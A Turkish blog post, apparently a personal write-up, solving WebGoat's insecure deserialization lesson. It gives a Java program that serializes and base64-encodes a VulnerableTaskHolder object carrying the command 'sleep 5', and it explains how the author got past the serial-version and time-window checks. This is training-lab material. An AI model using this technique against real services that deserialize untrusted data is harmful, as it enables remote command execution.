WebGoat Insecure Deserialization Çözümü

2 dakikalık okuma

“Insecure Deserialization” zafiyeti için araştırma yaparken, WebGoat’ta yer alan problemi çözeyim dedim ancak problem sandığımdan zor çıktı. Beklemediğim birçok problemle karşılaştım. Herhangi bir yerde adam akıllı kaynak da bulamayınca, çözümü buraya kaydetmek istedim. Zafiyetin ne olduğu ile ilgili internette tonla kaynak varken, zafiyetin anlatımı ile ilgili bir benim yazmamın herhalde pek bir katma değeri olmaz. O yüzden direkt karşılaştığım problemlerle birlikte çözümü yazacağım.

Problemde verilen kutucuğa VulnerableTaskHolder sınıfından üretilen nesnenin serialize edilmiş halinin base64 ile şifrelenerek yazılması isteniyor. Ancak ilgili sınıftan nesne üretirken Constructor’ında yer alan “taskAction” değerine “sleep 5” değerinin girilmesi gerekiyor çünkü görev uygulamadan gelecek cevabı 5 saniye geciktirmek.

Bunun için öncelikle üçüncü adımda verilen VulnerableTaskHolder.java dosyası indirdim. Dosyada org.dummy.insecure.framework paketi kullanıldığı için bu dosyayı yeni oluşturduğum org/dummy/insecure/framework klasörünün içine taşıdım. Ardından istenilen istismar kodunu oluşturmak üzere aynı klasöre Exploit.java dosyası oluşturarak, içine aşağıdaki kodları yazdım.

 1package org.dummy.insecure.framework;
 2import org.dummy.insecure.framework.VulnerableTaskHolder;
 3import java.io.ByteArrayOutputStream;
 4import java.io.ObjectOutputStream;
 5import java.io.Serializable;
 6import java.io.IOException;
 7import java.util.Base64;
 8
 9public class Exploit {
10
11    public static String toString(Serializable o) throws IOException {
12        ByteArrayOutputStream baos = new ByteArrayOutputStream();
13        ObjectOutputStream oos = new ObjectOutputStream( baos );
14        oos.writeObject( o );
15        oos.close();
16        return Base64.getEncoder().encodeToString(baos.toByteArray());
17    }
18
19    public static void main(String[] args)
20	    throws IOException {
21	VulnerableTaskHolder go = new VulnerableTaskHolder("wait", "sleep 5");
22	System.out.println(go.toString());
23	String encoded = toString(go);
24        System.out.println("The exploit is " + encoded);
25    }
26}

Kodları derlemek için “org” klasörünün bulunduğu dizinde aşağıdaki komutu çalıştırdım:

1javac -cp . org/dummy/insecure/framework/*.java

Derlenen Exploit sınıfını çalıştırmak için:

1java -cp . org.dummy.insecure.framework.Exploit

Exploit dosyası çalıştığında oluşan çıktıyı kutuya girip denediğimde ipucu içeren aşağıdaki hata ile karşılaştım. Bu hataya göre “serialization id” sunucudaki VulnerableTaskHolder sınıfınınki ile eşleşmiyordu.

The serialization id does not match. Probably the version has been updated. Let’s try again.

Bunun üzerine aşağıda yer alan ikinci ipucunda belirtildiği gibi VulnerableTaskHolder.java dosyasındaki versiyonu bir arttırarak değerini 2’ye yükselttim.

The VulnerableTaskHolder might have been updated on the server with a next version number.

Tekrar derleme işlemini gerçekleştirdikten sonra Exploit’i yeniden çalıştırdım. Bu sefer de nesnenin son 10 dakika içinde üretilmesi gerektiğini belirten aşağıdaki hatayı aldım:

The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let’s try again.

Uzun uğraşlardan sonra sorunu çözdüm. VulnerableTaskHolder sınıfının özelliklerinden biri olan requestedExecutionTime nesnenin üretildiği zamanı üretildiği sistemin zamanına göre tutuyordu. Oysa üzerinde çalıştığım WebGoat ise sistem zamanı bir gün geride olan sanal bir makinede çalışıyordu. Bu nedenle sorunu anlayabilmem epey bir zaman aldı. Bu sorunu da sanal sunucunun zamanını ana makinemin zamanına senkron hale getirerek çözmüş oldum. Elbette başka çözüm yöntemi de vardır bu durumda ama kolay olan bu olduğu için bu yöntemi tercih ettim.

Zaman problemini de çözdükten sonra WebGoat ‘ı durdurup yeniden başlattım ve Exploit ‘i tekrar çalıştırarak yeni kodu aldım. Sonuç başarılıydı!

comments powered by Disqus